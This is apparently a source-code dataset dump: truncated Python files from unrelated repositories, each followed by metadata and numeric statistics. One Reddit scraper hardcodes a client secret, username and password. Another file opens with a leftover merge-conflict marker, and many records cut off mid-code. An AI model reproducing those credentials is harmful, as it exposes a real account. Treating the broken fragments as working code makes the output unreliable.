# See LICENSE.TXT for detail... | 35.615385 | 119 | 0.642964 | 709 | 6,019 | 5.29055 | 0.338505 | 0.063983 | 0.033591 | 0.03839 | 0.252733 | 0.189549 | 0.102639 | 0.060251 | 0.037323 | 0.037323 | 0 | 0.019494 | 0.2841 | 6,019 | 168 | 120 | 35.827381 | 0.85101 | 0.05167 | 0 | 0.2 | 0 | 0.028571 | 0.679235 | 0.091021 | 0 | 0 | 0 | 0 | 0 | 1 | 0.007143 | false | 0 | 0.05 | 0 | 0.057143 | 0.007143 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9bba831c1e4a813e1ca4cd7d05f6ab43fa6250ab | 1,733 | py | Python | Python Programs/wildcard-pattern-matching.py | muhammad-masood-ur-rehman/Skillrack | 71a25417c89d0efab40ee6229ccd758b26ae4312 | [
"CC0-1.0"
] | 2 | 2021-06-26T21:50:59.000Z | 2021-09-18T04:55:51.000Z | Python Programs/wildcard-pattern-matching.py | muhammad-masood-ur-rehman/Skillrack | 71a25417c89d0efab40ee6229ccd758b26ae4312 | [
"CC0-1.0"
] | null | null | null | Python Programs/wildcard-pattern-matching.py | muhammad-masood-ur-rehman/Skillrack | 71a25417c89d0efab40ee6229ccd758b26ae4312 | [
"CC0-1.0"
] | null | null | null | Wildcard Pattern Matching
The program must accept a text and a wildcard pattern as the input. The program must print "Matching" if the wildcard is matched with text. Else the program must print "Not matching" as the output.
The wildcard pattern can include the characters '?' and '*'
'?' – Matches any single character
... | 28.883333 | 197 | 0.664743 | 286 | 1,733 | 4.038462 | 0.27972 | 0.012121 | 0.031169 | 0.067532 | 0.138528 | 0.082251 | 0.082251 | 0.082251 | 0.05368 | 0.05368 | 0 | 0.024251 | 0.190998 | 1,733 | 59 | 198 | 29.372881 | 0.797432 | 0 | 0 | 0.271186 | 0 | 0 | 0.051386 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.050847 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32c9b0dac0c193b996718722de49f5dba6087d36 | 1,122 | py | Python | app/core/admin.py | kaikobud/recipe-api | 35b0d76f599605cc280a7ff3e456795c5c1e671e | [
"MIT"
] | null | null | null | app/core/admin.py | kaikobud/recipe-api | 35b0d76f599605cc280a7ff3e456795c5c1e671e | [
"MIT"
] | null | null | null | app/core/admin.py | kaikobud/recipe-api | 35b0d76f599605cc280a7ff3e456795c5c1e671e | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.utils.translation import gettext as _
from core import models
# https://docs.djangoproject.com/en/3.0/topics/auth
# /customizing/#using-a-custom-user-model-when-starting-a-project
class UserAdmin(BaseUserAdm... | 32.057143 | 65 | 0.642602 | 130 | 1,122 | 5.469231 | 0.607692 | 0.050633 | 0.09564 | 0.129395 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005556 | 0.197861 | 1,122 | 34 | 66 | 33 | 0.784444 | 0.222816 | 0 | 0 | 0 | 0 | 0.196532 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.083333 | 0.208333 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
32e1e9a509be4b85f0ceb03151b0eb783344ba22 | 1,645 | py | Python | src/genie/libs/parser/iosxe/tests/ShowLacpNeighborDetail/cli/equal/golden_output_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 204 | 2018-06-27T00:55:27.000Z | 2022-03-06T21:12:18.000Z | src/genie/libs/parser/iosxe/tests/ShowLacpNeighborDetail/cli/equal/golden_output_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 468 | 2018-06-19T00:33:18.000Z | 2022-03-31T23:23:35.000Z | src/genie/libs/parser/iosxe/tests/ShowLacpNeighborDetail/cli/equal/golden_output_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 309 | 2019-01-16T20:21:07.000Z | 2022-03-30T12:56:41.000Z | expected_output = {
"interfaces": {
"Port-channel1": {
"name": "Port-channel1",
"protocol": "lacp",
"members": {
"GigabitEthernet0/0/1": {
"activity": "Active",
"age": 18,
"aggregatable": True,
... | 35 | 56 | 0.349544 | 103 | 1,645 | 5.456311 | 0.446602 | 0.120996 | 0.064057 | 0.067616 | 0.412811 | 0.359431 | 0.359431 | 0.199288 | 0.199288 | 0.199288 | 0 | 0.07289 | 0.52462 | 1,645 | 46 | 57 | 35.76087 | 0.64578 | 0 | 0 | 0.391304 | 0 | 0 | 0.306991 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32e308737446046bfa4fa318c954c22a701becec | 1,881 | py | Python | parent5.py | felsen/fluent-python | 1d392834019c3dad16f40eb245309c15556ffe04 | [
"MIT"
] | null | null | null | parent5.py | felsen/fluent-python | 1d392834019c3dad16f40eb245309c15556ffe04 | [
"MIT"
] | null | null | null | parent5.py | felsen/fluent-python | 1d392834019c3dad16f40eb245309c15556ffe04 | [
"MIT"
] | null | null | null | <<<<<<< HEAD
"""
Python Descriptors.
Reference: https://www.youtube.com/watch?v=ZdvpNaWwx24
https://www.youtube.com/watch?v=FPuq-9B0OqE
https://www.youtube.com/watch?v=v2WTVCyTYMw
"""
class Square(object):
def __init__(self, side):
self.side = side
@property
def area(self... | 19.59375 | 68 | 0.558214 | 234 | 1,881 | 4.333333 | 0.307692 | 0.039448 | 0.044379 | 0.053254 | 0.150888 | 0.150888 | 0 | 0 | 0 | 0 | 0 | 0.029503 | 0.315258 | 1,881 | 95 | 69 | 19.8 | 0.757764 | 0 | 0 | 0.088889 | 0 | 0 | 0.082859 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32e360e83bb5304af644a2b809e41b9ec7ed74bb | 1,159 | py | Python | chatapp/models/user.py | MardanovTimur/aiochat | 4426c934ad7c64ae279e65969fde91fb31de24fb | [
"MIT"
] | null | null | null | chatapp/models/user.py | MardanovTimur/aiochat | 4426c934ad7c64ae279e65969fde91fb31de24fb | [
"MIT"
] | null | null | null | chatapp/models/user.py | MardanovTimur/aiochat | 4426c934ad7c64ae279e65969fde91fb31de24fb | [
"MIT"
] | null | null | null | import datetime
from sqlalchemy import (
PrimaryKeyConstraint,
Boolean,
DateTime,
UniqueConstraint,
ForeignKey,
MetaData,
Table,
Column,
ForeignKey,
Integer,
String,
Date,
)
from . import meta
# TODO: type on declarative style
friends = Table('friends', meta,
... | 32.194444 | 95 | 0.608283 | 116 | 1,159 | 5.948276 | 0.431034 | 0.021739 | 0.06087 | 0.066667 | 0.086957 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012821 | 0.259707 | 1,159 | 35 | 96 | 33.114286 | 0.791375 | 0.026747 | 0 | 0.066667 | 0 | 0 | 0.159858 | 0.026643 | 0 | 0 | 0 | 0.028571 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32eaf2e8b58746e67653cf01e8eed90c39b0feb8 | 1,005 | py | Python | school/migrations/0017_auto_20201002_1752.py | threecoolcat/ThreeCoolCat | 805f37b4cc68dce768356c0042663d0659abd6cb | [
"MIT"
] | 6 | 2021-08-07T10:51:25.000Z | 2022-02-25T04:59:02.000Z | school/migrations/0017_auto_20201002_1752.py | threecoolcat/ThreeCoolCat | 805f37b4cc68dce768356c0042663d0659abd6cb | [
"MIT"
] | null | null | null | school/migrations/0017_auto_20201002_1752.py | threecoolcat/ThreeCoolCat | 805f37b4cc68dce768356c0042663d0659abd6cb | [
"MIT"
] | 2 | 2021-09-15T10:22:05.000Z | 2022-01-19T07:12:04.000Z | # Generated by Django 3.1 on 2020-10-02 17:52
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('school', '0016_auto_20201002_1315'),
]
operations = [
migrations.CreateModel(
name='TeacherCourses',
fields=[
... | 29.558824 | 127 | 0.559204 | 94 | 1,005 | 5.840426 | 0.648936 | 0.040073 | 0.083789 | 0.098361 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047757 | 0.312438 | 1,005 | 33 | 128 | 30.454545 | 0.746744 | 0.042786 | 0 | 0.185185 | 1 | 0 | 0.15625 | 0.045833 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.037037 | 0 | 0.148148 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32eb17e0497099633e690cac674f2c654b46982e | 3,160 | py | Python | src/maintenance_planning/models/models.py | afaysalk/odoo-addons | 7e7c7e721f60f202e0b704fcb323a9065f3e1e37 | [
"Apache-2.0"
] | null | null | null | src/maintenance_planning/models/models.py | afaysalk/odoo-addons | 7e7c7e721f60f202e0b704fcb323a9065f3e1e37 | [
"Apache-2.0"
] | 3 | 2021-10-05T18:47:51.000Z | 2021-11-02T09:54:49.000Z | src/maintenance_planning/models/models.py | afaysalk/odoo-addons | 7e7c7e721f60f202e0b704fcb323a9065f3e1e37 | [
"Apache-2.0"
] | 3 | 2021-01-24T02:44:29.000Z | 2021-09-27T12:46:17.000Z | # -*- coding: utf-8 -*-
from odoo import models, fields, api
import logging
_logger = logging.getLogger(__name__)
class MaintenanceOperation(models.Model):
_name = 'maintenance_planning.operation'
_description = 'Maintenance operation'
name = fields.Char('Name', required=True)
sequence = fields.Inte... | 41.578947 | 98 | 0.604747 | 287 | 3,160 | 6.445993 | 0.320557 | 0.069189 | 0.034595 | 0.043784 | 0.267027 | 0.185946 | 0.185946 | 0.138378 | 0.138378 | 0 | 0 | 0.012826 | 0.284494 | 3,160 | 75 | 99 | 42.133333 | 0.805396 | 0.086392 | 0 | 0.086957 | 0 | 0 | 0.259118 | 0.072247 | 0 | 0 | 0 | 0 | 0 | 1 | 0.021739 | false | 0 | 0.043478 | 0 | 0.630435 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
32ece90824637ffc5ca46268e4096fc4543674f7 | 1,264 | py | Python | samples/python/topology/simple/echo.py | Jaimie-Jin1/streamsx.topology | 6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08 | [
"Apache-2.0"
] | 31 | 2015-06-24T06:21:14.000Z | 2020-08-28T21:45:50.000Z | samples/python/topology/simple/echo.py | Jaimie-Jin1/streamsx.topology | 6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08 | [
"Apache-2.0"
] | 1,203 | 2015-06-15T02:11:49.000Z | 2021-03-22T09:47:54.000Z | samples/python/topology/simple/echo.py | Jaimie-Jin1/streamsx.topology | 6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08 | [
"Apache-2.0"
] | 53 | 2015-05-28T21:14:16.000Z | 2021-12-23T12:58:59.000Z | # Licensed Materials - Property of IBM
# Copyright IBM Corp. 2016
from __future__ import print_function
import sys
from streamsx.topology.topology import Topology
import streamsx.topology.context
def main():
"""
Sample echo topology application. This Python application builds a
simple topology that echoe... | 26.893617 | 78 | 0.684335 | 164 | 1,264 | 5.195122 | 0.493902 | 0.056338 | 0.053991 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012903 | 0.264241 | 1,264 | 46 | 79 | 27.478261 | 0.903226 | 0.628956 | 0 | 0 | 0 | 0 | 0.05641 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.363636 | 0 | 0.454545 | 0.181818 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
32ef6fd02f8142ff6d42e89127a7a11c18b82357 | 1,072 | py | Python | rename_checklist.py | diatomsRcool/checklists | bc5b4ac53a34b3894794b213ea99ffbe05accf6a | [
"MIT"
] | 1 | 2019-09-18T17:25:49.000Z | 2019-09-18T17:25:49.000Z | rename_checklist.py | diatomsRcool/checklists | bc5b4ac53a34b3894794b213ea99ffbe05accf6a | [
"MIT"
] | 3 | 2017-11-10T18:24:12.000Z | 2018-01-05T15:24:55.000Z | rename_checklist.py | diatomsRcool/checklists | bc5b4ac53a34b3894794b213ea99ffbe05accf6a | [
"MIT"
] | null | null | null | #this code changes the file names from geonames id to country name
#it creates a directory for each country and places the tsv file in that directory
#the country name is all lower case with underscores for spaces
#be sure to change the file paths for your local machine
import os
import pickle
import re
import shutil
... | 46.608696 | 154 | 0.758396 | 158 | 1,072 | 5.063291 | 0.506329 | 0.08125 | 0.14375 | 0.1875 | 0.28 | 0.28 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137127 | 1,072 | 23 | 155 | 46.608696 | 0.864865 | 0.380597 | 0 | 0 | 0 | 0 | 0.393617 | 0.357143 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.266667 | 0 | 0.266667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32efb12991c88d049ebaceb4de6909e15697c8e6 | 1,362 | py | Python | setup.py | nicfit/regarding | 22a77c54e172b1a7a76d2d6fbbd29fef15007e3b | [
"MIT"
] | 1 | 2020-12-19T10:36:38.000Z | 2020-12-19T10:36:38.000Z | setup.py | nicfit/regarding | 22a77c54e172b1a7a76d2d6fbbd29fef15007e3b | [
"MIT"
] | 1 | 2020-12-12T18:28:21.000Z | 2020-12-12T18:28:22.000Z | setup.py | nicfit/regarding | 22a77c54e172b1a7a76d2d6fbbd29fef15007e3b | [
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# DO NOT EDIT THIS FILE!
# This file has been autogenerated by dephell <3
# https://github.com/dephell/dephell
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
import os.path
readme = ''
here = os.path.abspath(os.path.dirname(__file__))
readme_... | 32.428571 | 118 | 0.613069 | 191 | 1,362 | 4.230366 | 0.52356 | 0.037129 | 0.034653 | 0.037129 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051373 | 0.171072 | 1,362 | 41 | 119 | 33.219512 | 0.664305 | 0.092511 | 0 | 0 | 1 | 0.034483 | 0.397561 | 0.082114 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.137931 | 0 | 0.137931 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32f0df7be7606bf1a63771c81397c280d91aa2ae | 434 | py | Python | filecontent/extractors/tar.py | joaompinto/filecontent | ca05de0af76b23f94987fcd24c7ce658fd8cbc09 | [
"MIT"
] | null | null | null | filecontent/extractors/tar.py | joaompinto/filecontent | ca05de0af76b23f94987fcd24c7ce658fd8cbc09 | [
"MIT"
] | null | null | null | filecontent/extractors/tar.py | joaompinto/filecontent | ca05de0af76b23f94987fcd24c7ce658fd8cbc09 | [
"MIT"
] | null | null | null | from tarfile import TarFile
class Extractor:
needs_file = True
match_content = "x-tar"
def __init__(self, metadata, fileobj):
# Open a stream of tar blocks for reading with transparent compression.
self._tarfile = TarFile.open(fileobj=fileobj, mode="r|*")
def get_content(self):
... | 21.7 | 79 | 0.638249 | 52 | 434 | 5.153846 | 0.692308 | 0.08209 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.274194 | 434 | 19 | 80 | 22.842105 | 0.850794 | 0.158986 | 0 | 0 | 0 | 0 | 0.022039 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.090909 | 0 | 0.636364 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
32f6f9de15c7ac06d3e90774181438d6ba1293d5 | 533 | py | Python | NewsApi/RedditAPI.py | RDmaverick/Fake-News-Suspector | d53011bec9383b73d0b738f13164394899ca256c | [
"MIT"
] | null | null | null | NewsApi/RedditAPI.py | RDmaverick/Fake-News-Suspector | d53011bec9383b73d0b738f13164394899ca256c | [
"MIT"
] | null | null | null | NewsApi/RedditAPI.py | RDmaverick/Fake-News-Suspector | d53011bec9383b73d0b738f13164394899ca256c | [
"MIT"
] | 3 | 2018-12-22T08:16:56.000Z | 2020-01-22T09:42:13.000Z | import praw
reddit = praw.Reddit(client_id = 'NCGfJ_dLCKkLeQ',
client_secret = '-pzdUANPZk9hdNfXUlKAOuvvzHw',
username = 'priyamshah112',
password = '7738478888a',
user_agent='newsscrapper')
try:
news_query = 'Trip wi... | 31.352941 | 87 | 0.562852 | 56 | 533 | 5.25 | 0.785714 | 0.068027 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.048711 | 0.345216 | 533 | 16 | 88 | 33.3125 | 0.793696 | 0 | 0 | 0 | 0 | 0 | 0.284333 | 0.052224 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.142857 | 0.071429 | 0 | 0.071429 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
32f9d4ab8e747f6fce5b2d2e014b84359c04d015 | 3,834 | py | Python | frt_server/tests/__init__.py | hpi-swa-lab/GlyphHub | 7f114af17d7d9e32e025fc650d22d4f89ff3c697 | [
"MIT"
] | 6 | 2016-10-10T18:51:10.000Z | 2016-12-30T08:55:34.000Z | frt_server/tests/__init__.py | hpi-swa-lab/GlyphHub | 7f114af17d7d9e32e025fc650d22d4f89ff3c697 | [
"MIT"
] | 270 | 2016-10-17T07:44:49.000Z | 2017-06-19T08:29:04.000Z | frt_server/tests/__init__.py | HPI-SWA-Lab/BP2016H1 | 7f114af17d7d9e32e025fc650d22d4f89ff3c697 | [
"MIT"
] | null | null | null | import os
import unittest
import tempfile
import eve.tests
import json
import shutil
from eve_sqlalchemy import SQL
from eve_sqlalchemy.validation import ValidatorSQL
os.environ['FRT_TESTING'] = '1'
import frt_server.config
from frt_server.run import create_app, setup_database
from frt_server.tables import User, Fami... | 34.854545 | 129 | 0.637194 | 462 | 3,834 | 5.158009 | 0.305195 | 0.020562 | 0.029375 | 0.036928 | 0.261435 | 0.238775 | 0.201007 | 0.15065 | 0.118758 | 0.118758 | 0 | 0.00139 | 0.249609 | 3,834 | 109 | 130 | 35.174312 | 0.826903 | 0.078247 | 0 | 0.204819 | 0 | 0 | 0.065068 | 0 | 0 | 0 | 0 | 0 | 0.012048 | 1 | 0.156627 | false | 0.060241 | 0.13253 | 0.012048 | 0.373494 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
32fbdc46bc765a17081e24d1052e368e8f445949 | 3,529 | py | Python | apps/routes/serializers/route.py | kevingduck/transmission | c29ae529c02c885cdb0e64a35d7d4750ab1b8001 | [
"Apache-2.0"
] | 19 | 2018-09-04T14:49:01.000Z | 2020-06-09T22:13:10.000Z | apps/routes/serializers/route.py | kevingduck/transmission | c29ae529c02c885cdb0e64a35d7d4750ab1b8001 | [
"Apache-2.0"
] | 50 | 2018-09-18T17:28:57.000Z | 2021-01-09T16:18:45.000Z | apps/routes/serializers/route.py | kevingduck/transmission | c29ae529c02c885cdb0e64a35d7d4750ab1b8001 | [
"Apache-2.0"
] | 4 | 2019-12-15T13:44:18.000Z | 2021-06-09T20:39:54.000Z | """
Copyright 2020 ShipChain, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software... | 32.081818 | 111 | 0.697648 | 413 | 3,529 | 5.813559 | 0.375303 | 0.053311 | 0.023324 | 0.031653 | 0.28738 | 0.250312 | 0.22324 | 0.198667 | 0.198667 | 0.180758 | 0 | 0.002896 | 0.217342 | 3,529 | 109 | 112 | 32.376147 | 0.866401 | 0.167186 | 0 | 0.40625 | 0 | 0 | 0.088134 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.109375 | false | 0 | 0.09375 | 0.015625 | 0.546875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
32fefdfc66bd2d91d04fadadc573c40616695255 | 30,752 | py | Python | dmac/csv_excel.py | BMCBCC/NExtSEEK | 7aca407bbc74efc5beb4a98227c6864444b11f61 | [
"MIT"
] | null | null | null | dmac/csv_excel.py | BMCBCC/NExtSEEK | 7aca407bbc74efc5beb4a98227c6864444b11f61 | [
"MIT"
] | null | null | null | dmac/csv_excel.py | BMCBCC/NExtSEEK | 7aca407bbc74efc5beb4a98227c6864444b11f61 | [
"MIT"
] | null | null | null | import csv
import openpyxl
from openpyxl.cell.read_only import EmptyCell
from conversion import toString
def handle_uploaded_file(file, output):
# logging.debug("upload_here")
#output = HDF5_REPOSITIRY + file.name
print "file uploaded into: " + output
destination = open(output, 'wb+')
#des... | 34.945455 | 144 | 0.558695 | 3,333 | 30,752 | 5.09841 | 0.116412 | 0.011652 | 0.005767 | 0.012299 | 0.623551 | 0.596187 | 0.58324 | 0.564291 | 0.545401 | 0.534043 | 0 | 0.011126 | 0.351132 | 30,752 | 880 | 145 | 34.945455 | 0.840483 | 0.161063 | 0 | 0.642032 | 0 | 0 | 0.083274 | 0.00881 | 0.006928 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.009238 | null | null | 0.08776 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd162fdfe00ba159b84f08bf1b693eb96a72e85a | 624 | py | Python | windshader/build.py | OrangeUtan/mc-wind-shader | 1d5360da19d8ad70f76113170c829d2ec907e5c8 | [
"MIT"
] | 2 | 2021-07-01T06:55:02.000Z | 2021-12-05T13:29:13.000Z | windshader/build.py | OrangeUtan/mc-wind-shader | 1d5360da19d8ad70f76113170c829d2ec907e5c8 | [
"MIT"
] | 2 | 2021-07-14T20:17:31.000Z | 2021-12-05T13:31:17.000Z | windshader/build.py | OrangeUtan/mc-wind-shader | 1d5360da19d8ad70f76113170c829d2ec907e5c8 | [
"MIT"
] | null | null | null | from pathlib import Path
import typer
import beet
from windshader import utils
app = typer.Typer()
@app.command()
def cmd_main(
base_config: Path = typer.Argument(..., exists=True, dir_okay=False)
):
config = beet.load_config(base_config)
minecraft_version = config.meta["texture_atlas"]["minecraft_version"]
cach... | 27.130435 | 100 | 0.75641 | 90 | 624 | 5.033333 | 0.5 | 0.10596 | 0.075055 | 0.09713 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 624 | 23 | 101 | 27.130435 | 0.820652 | 0 | 0 | 0 | 0 | 0 | 0.144 | 0.04 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0.055556 | 0.222222 | 0 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
fd22193c002138477c76dc557881924b53727b58 | 376 | py | Python | src/unicon/plugins/nxos/n5k/service_patterns.py | TestingBytes/unicon.plugins | 0600956d805deb4fd790aa3ef591c5d659e85de1 | [
"Apache-2.0"
] | 18 | 2019-11-23T23:14:53.000Z | 2022-01-10T01:17:08.000Z | src/unicon/plugins/nxos/n5k/service_patterns.py | TestingBytes/unicon.plugins | 0600956d805deb4fd790aa3ef591c5d659e85de1 | [
"Apache-2.0"
] | 12 | 2020-11-09T20:39:25.000Z | 2022-03-22T12:46:59.000Z | src/unicon/plugins/nxos/n5k/service_patterns.py | TestingBytes/unicon.plugins | 0600956d805deb4fd790aa3ef591c5d659e85de1 | [
"Apache-2.0"
] | 32 | 2020-02-12T15:42:22.000Z | 2022-03-15T16:42:10.000Z | __author__ = "Myles Dear <mdear@cisco.com>"
from unicon.plugins.nxos.service_patterns \
import ReloadPatterns as BaseNxosReloadPatterns
class NxosN5kReloadPatterns(BaseNxosReloadPatterns):
def __init__(self):
super().__init__()
self.reload_confirm_nxos = r'.*This command will reboot the system... | 37.6 | 129 | 0.718085 | 48 | 376 | 5.3125 | 0.8125 | 0.062745 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003115 | 0.146277 | 376 | 9 | 130 | 41.777778 | 0.791277 | 0 | 0 | 0 | 0 | 0.142857 | 0.316489 | 0.085106 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.142857 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd2893a325812b407eea587d989890d08b2113d7 | 811 | py | Python | tests/test_jwt.py | lokaimoma/Bugza | 93ffe344cb0be7dc4c45965f52798e02d05d320b | [
"Unlicense"
] | 2 | 2022-02-14T23:53:00.000Z | 2022-03-24T12:19:49.000Z | tests/test_jwt.py | lokaimoma/Bugza | 93ffe344cb0be7dc4c45965f52798e02d05d320b | [
"Unlicense"
] | null | null | null | tests/test_jwt.py | lokaimoma/Bugza | 93ffe344cb0be7dc4c45965f52798e02d05d320b | [
"Unlicense"
] | null | null | null | # Created by Kelvin_Clark on 2/1/2022, 2:16 PM
